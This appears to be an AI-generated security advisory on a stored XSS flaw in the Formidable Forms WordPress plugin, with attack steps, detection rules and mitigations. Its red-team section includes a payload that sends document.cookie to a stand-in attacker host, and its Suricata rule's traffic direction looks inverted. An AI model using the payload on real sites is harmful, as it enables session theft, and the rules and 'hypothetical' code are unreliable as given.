CVE-2024-6725

Executive Summary

CVE-2024-6725 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Formidable Forms WordPress plugin (versions up to and including 6.11.1). This plugin is a widely used form builder for contact forms, surveys, quizzes, payments, and calculators. The vulnerability resides in insufficient input sanitization and output escaping of the html parameter, allowing authenticated attackers with at least Subscriber-level access and form editing permissions to inject arbitrary web scripts. When a user (including administrators) accesses a page containing the malicious form, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

Given the plugin’s popularity (over 300,000 active installations), this vulnerability poses a significant risk to WordPress sites. The CVSS score of 4.9 (Medium) reflects the need for authenticated access, but the impact is amplified by the potential for privilege escalation through XSS.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. While not a direct supply chain compromise of the plugin’s code, the risk is elevated because:

• Widespread adoption: The plugin is used on hundreds of thousands of sites.
• Delayed patching: As of this report, no official patch has been released, leaving all sites running version 6.11.1 or earlier exposed.
• Attack surface: Any authenticated user with form editing capabilities can exploit this, including subscribers who may have been granted form access via other plugins or custom roles.

CVSS Breakdown & Threat Level

CVSS Score: 4.9 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Threat Level: Medium. While the CVSS score is moderate, the real-world risk is elevated due to the plugin’s popularity and the lack of a patch. Attackers can chain this with other vulnerabilities (e.g., privilege escalation) to gain full site control.

Deep Dive & Mechanics

The vulnerability exists in the Formidable Forms plugin’s handling of the html parameter when creating or editing forms. The plugin fails to properly sanitize user input and escape output before rendering it in the browser.

Root Cause:
The html parameter is used to define custom HTML content within form fields (e.g., in the “HTML” field type). The plugin does not apply sufficient filtering to prevent the injection of arbitrary JavaScript. Specifically, the wp_kses function (WordPress’s HTML sanitization) is either not used or is configured with overly permissive allowed tags/attributes, allowing event handlers like onclick, onmouseover, or <script> tags.

Attack Flow:

1. An authenticated user with Subscriber-level access and form editing permissions logs into WordPress.
2. The attacker creates or edits a form, adding an “HTML” field.
3. In the field’s content, the attacker injects malicious JavaScript, e.g., <script>alert('XSS')</script> or <img src=x onerror=alert(1)>.
4. The form is saved. The malicious payload is stored in the database.
5. When any user (including administrators) views the page containing the form, the script executes in their browser.

Why It’s Dangerous:

• Stored XSS: The payload persists until manually removed.
• Privilege Escalation: An attacker can steal admin session cookies, perform actions on behalf of an admin, or install backdoors.
• Widespread Impact: Any page displaying the form (e.g., via shortcode) is affected.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on secure coding practices.

Vulnerable Code (Formidable Forms <= 6.11.1):

// In a field rendering function (simplified)
function render_html_field($field) {
    $html = $field['html']; // Directly from user input
    echo $html; // No sanitization or escaping
}

Patched Code (Hypothetical):

function render_html_field($field) {
    $html = $field['html'];
    // Sanitize with wp_kses, allowing only safe tags
    $allowed_html = array(
        'a' => array('href' => array(), 'title' => array()),
        'br' => array(),
        'em' => array(),
        'strong' => array(),
    );
    $safe_html = wp_kses($html, $allowed_html);
    echo $safe_html;
}

Key Differences:

• Input Sanitization: Patched version uses wp_kses to strip dangerous tags and attributes.
• Output Escaping: Patched version could also use esc_html() or wp_kses_post() for additional safety.

Exploitation & Lab Setup

Red Team (Attacker) Lab Setup

Prerequisites:

• A WordPress site with Formidable Forms plugin version 6.11.1 or earlier.
• An account with Subscriber-level access and form editing permissions (e.g., via a custom role or plugin).

Exploitation Steps:

1. Log in as the attacker (Subscriber).
2. Navigate to Formidable → Forms and create a new form or edit an existing one.
3. Add an “HTML” field to the form.
4. In the HTML content field, enter a malicious payload:

   <script>alert('XSS');</script>
   

   Or a more sophisticated payload to steal cookies:

   <img src=x onerror="document.location='http://attacker.com/steal.php?c='+document.cookie">
   

5. Save the form.
6. Embed the form on a page using the shortcode [formidable id=XX].
7. Send the link to the victim (e.g., an admin) or wait for them to visit the page.
8. The victim’s browser executes the script, sending their cookies to the attacker’s server.

Proof-of-Concept (PoC):
No public PoC is available, but the above steps demonstrate the vulnerability.

Blue Team (Defender) Lab Setup

Detection:

• Monitor for unusual form submissions or edits by low-privileged users.
• Look for HTML fields containing <script> tags or event handlers.

Mitigation:

• Immediate: Disable the Formidable Forms plugin until a patch is released.
• Workaround: Use a Web Application Firewall (WAF) to block malicious payloads in form fields.
• User Education: Restrict form editing permissions to trusted users only.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /wp-admin/admin-ajax.php with parameters containing <script> tags or event handlers.
• Outbound connections to attacker-controlled domains (e.g., for cookie exfiltration).

Host IOCs:

• Database entries in wp_frm_fields where field_options contains malicious JavaScript.
• Log entries showing form edits by Subscriber-level users.

File IOCs:

• Modified plugin files (though unlikely, as the vulnerability is in the database).

Detection Engineering

YARA Rule

rule Detect_Formidable_Forms_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Formidable Forms plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6725"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onclick\s*=\s*["']?[^"']*["']?/i
        $xss4 = /onmouseover\s*=\s*["']?[^"']*["']?/i
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Formidable Forms Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS in Formidable Forms plugin via HTTP requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '/wp-admin/admin-ajax.php'
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'action=frm_forms_create'
            - 'action=frm_forms_update'
        cs-request-body|contains:
            - '<script'
            - 'onerror='
            - 'onclick='
            - 'onmouseover='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in form fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6725 Formidable Forms Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=frm_forms_create|26|"; http_client_body; pcre:"/(<script|onerror=|onclick=|onmouseover=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: If possible, deactivate Formidable Forms until a patch is released.
2. Restrict permissions: Remove form editing capabilities from Subscriber-level users.
3. WAF rules: Implement virtual patching via WAF to block malicious payloads.

Long-term Fix:

• Apply the official patch once released by Strategy11.
• Upgrade to a patched version (e.g., 6.11.2 or later) when available.

Workaround:

• Use a security plugin (e.g., Wordfence) to block XSS attempts.
• Manually sanitize form HTML fields by adding custom code to functions.php:

  add_filter('frm_validate_field_entry', function($value, $field) {
      if ($field->type == 'html') {
          $value = wp_kses_post($value);
      }
      return $value;
  }, 10, 2);
  

Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.